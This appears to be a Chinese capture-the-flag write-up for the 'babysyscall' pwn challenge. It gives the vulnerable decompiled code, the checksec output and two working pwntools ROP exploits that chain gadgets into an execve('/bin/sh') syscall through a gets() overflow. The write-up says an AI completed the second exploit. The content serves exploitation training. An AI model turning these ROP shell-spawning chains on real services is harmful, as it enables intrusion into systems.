Skip to content

babysyscall

反编译:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREF

  IO_puts("baby syscall", argv, envp);
  IO_gets(v4);
  return 0;
}

checksec:

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

静态链接了 libc,有栈溢出,可以 ROP,但是没有 system,所以需要自己调用 execve 的 syscall,同时还需要往内存(这里是 bss)写入 "/bin/sh":

from pwn import *

context(log_level="DEBUG")
context.terminal = ["tmux", "split-w", "-h"]
context.arch = "amd64"

if args.REMOTE:
    p = remote(args.HOST, args.PORT)
else:
    p = process("./babysyscall", shell=True)
elf = ELF("./babysyscall")

rop = ROP(elf)
# mov_dword_ptr_rax_rdi_pop_rbx_ret = rop.find_gadget(
#    ["mov dword ptr [rax], rdi", "pop rbx", "ret"]
# ).address
mov_dword_ptr_rax_rdi_pop_rbx_ret = 0x48D9C4
pop_rdx_pop_rbx_ret = rop.find_gadget(["pop rdx", "pop rbx", "ret"]).address
pop_rax_ret = rop.find_gadget(["pop rax", "ret"]).address
pop_rdi_ret = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi_ret = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx_pop_rbx_ret = rop.find_gadget(["pop rdx", "pop rbx", "ret"]).address
ret = rop.find_gadget(["ret"]).address
syscall = rop.find_gadget(["syscall"]).address


buf = elf.bss()
payload = (
    b"A" * 0x28
    # rdi = "/bin/sh\x00"
    + p64(pop_rdi_ret)
    + b"/bin/sh\x00"
    # rax = buf
    + p64(pop_rax_ret)
    + p64(buf)
    # *rax = rdi
    + p64(mov_dword_ptr_rax_rdi_pop_rbx_ret)
    + p64(0)
    # rdi = buf
    + p64(pop_rdi_ret)
    + p64(buf)
    # rax = SYS_execve
    + p64(pop_rax_ret)
    + p64(59)
    # rsi = 0
    + p64(pop_rsi_ret)
    + p64(0)
    # rdx = 0
    + p64(pop_rdx_pop_rbx_ret)
    + p64(0)
    + p64(0)
    # syscall
    + p64(syscall)
    + b"\n"
)
print(payload)
p.send(payload)
p.interactive()

AI 完成的攻击脚本,没有用 mov dword ptr 的 gadget,而是用 gets 来读取 /bin/sh 的字符串:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF('./babysyscall')

import sys
LOCAL = '--remote' not in sys.argv

if LOCAL:
    p = process('./babysyscall')
else:
    p = remote('localhost', 9999)

pop_rdi = 0x401e8f
pop_rsi = 0x409efe
pop_rax = 0x447ee7
pop_rdx_rbx = 0x47f06b
syscall = 0x449af9
gets = 0x40c1d0
bss = 0x4c8000

payload = b'A' * 32 + b'B' * 8
payload += p64(pop_rdi) + p64(bss) + p64(gets)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload += p64(pop_rax) + p64(59) + p64(syscall)

p.sendline(payload)
import time; time.sleep(0.3)
p.sendline(b'/bin/sh')
p.interactive()

Comments